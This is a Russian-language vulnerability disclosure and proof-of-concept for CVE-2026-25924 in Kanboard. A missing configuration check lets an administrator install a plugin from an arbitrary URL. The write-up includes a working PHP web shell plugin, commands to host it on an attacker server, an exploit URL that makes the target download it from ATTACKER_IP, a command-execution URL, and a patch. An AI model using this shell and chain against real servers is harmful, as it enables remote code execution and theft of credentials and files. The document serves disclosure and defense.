
Эксплойт proof-of-concept для CVE-2026-25924, демонстрирующий удалённое выполнение кода с правами администратора в Kanboard через отсутствие проверки контроля доступа при установке плагинов.
Proof-of-Concept для административного RCE через обход контроля безопасности
Раскрытие: Изначально сообщено мной через GHSA-grch-p7vf-vc4f
⚠️ Только для авторизованного пентеста/исследований.
| Поле | Значение |
|---|
| ID CVE | CVE-2026-25924 |
| Серьёзность | 🔴 Высокая |
| Оценка CVSS | 8.4 |
| Вектор CVSS | [CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H] |
| CWE | CWE-863: Некорректная авторизация |
| Затронутый продукт | Kanboard ≤ 1.2.49 |
| Исправленная версия | 1.2.50 |
| Консультация | GHSA-grch-p7vf-vc4f |
Уязвимость обхода контроля безопасности в Kanboard v1.2.49 позволяет аутентифицированному администратору добиться полного удалённого выполнения кода (RCE). Хотя приложение корректно скрывает интерфейс установки плагинов, когда параметр конфигурации PLUGIN_INSTALLER установлен в false, базовый серверный endpoint не проверяет этот параметр безопасности. Злоумышленник может воспользоваться этим упущением, чтобы заставить сервер загрузить и установить вредоносный плагин, что приведёт к выполнению произвольного кода.


Kanboard использует константу безопасности PLUGIN_INSTALLER для ограничения возможности установки плагинов из удалённых URL. Она определена в app/constants.php:
Файл: app/constants.php
21: defined('PLUGIN_INSTALLER') or define('PLUGIN_INSTALLER', strtolower(getenv('PLUGIN_INSTALLER')) === 'true'); // Disabled by default for security reasons
Приложение корректно проверяет этот параметр в методах рендеринга пользовательского интерфейса PluginController, таких как show() и directory(), используя Installer::isConfigured():
Файл: app/Controller/PluginController.php
22: public function show()
23: {
...
28: 'is_configured' => Installer::isConfigured(),
29: )));
30: }
Однако метод install() в том же контроллере не выполняет эту проверку. Он только проверяет CSRF-токен перед загрузкой и установкой плагина из произвольного URL, указанного в параметре archive_url.
Уязвимый код в app/Controller/PluginController.php:
56: public function install()
57: {
58: $this->checkCSRFParam();
59: $pluginArchiveUrl = urldecode($this->request->getStringParam('archive_url'));
60:
61: try {
62: $installer = new Installer($this->container);
63: $installer->install($pluginArchiveUrl); // <--- VULNERABILITY: Missing check for Installer::isConfigured()
64: $this->flash->success(t('Plugin installed successfully.'));
65: } catch (PluginInstallerException $e) {
66: $this->flash->failure($e->getMessage());
67: }
68:
69: $this->response->redirect($this->helper->url->to('PluginController', 'show'));
70: }
Поскольку Installer::install() также не проверяет константу PLUGIN_INSTALLER, администратор может обойти предполагаемое ограничение, просто обратившись к endpoint напрямую с действительным CSRF-токеном. После установки вредоносный плагин автоматически загружается и выполняется Kanboard\Core\Plugin\Loader, предоставляя злоумышленнику полный RCE.
Создайте каталог с именем Exploit с файлом Plugin.php:
<?php
namespace Kanboard\Plugin\Exploit;
use Kanboard\Core\Plugin\Base;
class Plugin extends Base {
public function initialize() {
// Web shell listener
if (isset($_GET['cmd'])) {
system($_GET['cmd']);
}
}
}
Сожмите папку и разместите её на сервере, контролируемом злоумышленником:
zip -r exploit.zip Exploit/
python3 -m http.server 80

Войдите в Kanboard как администратор. Получите свой csrf_token из исходного кода страницы и перейдите по адресу:
http://[TARGET_IP]:8080/?controller=PluginController&action=install&archive_url=http://[ATTACKER_IP]/exploit.zip&csrf_token=[YOUR_TOKEN]

Используйте параметр cmd для выполнения произвольных системных команд:
http://[TARGET_IP]:8080/?controller=DashboardController&action=show&cmd=id


Эта уязвимость позволяет администратору обойти ограничения безопасности, наложенные хостом. Добившись RCE, злоумышленник может:
/etc/passwd, config.php).Добавьте проверку Installer::isConfigured() в начале методов install() и update() в app/Controller/PluginController.php:
if (! Installer::isConfigured()) {
throw new AccessForbiddenException();
}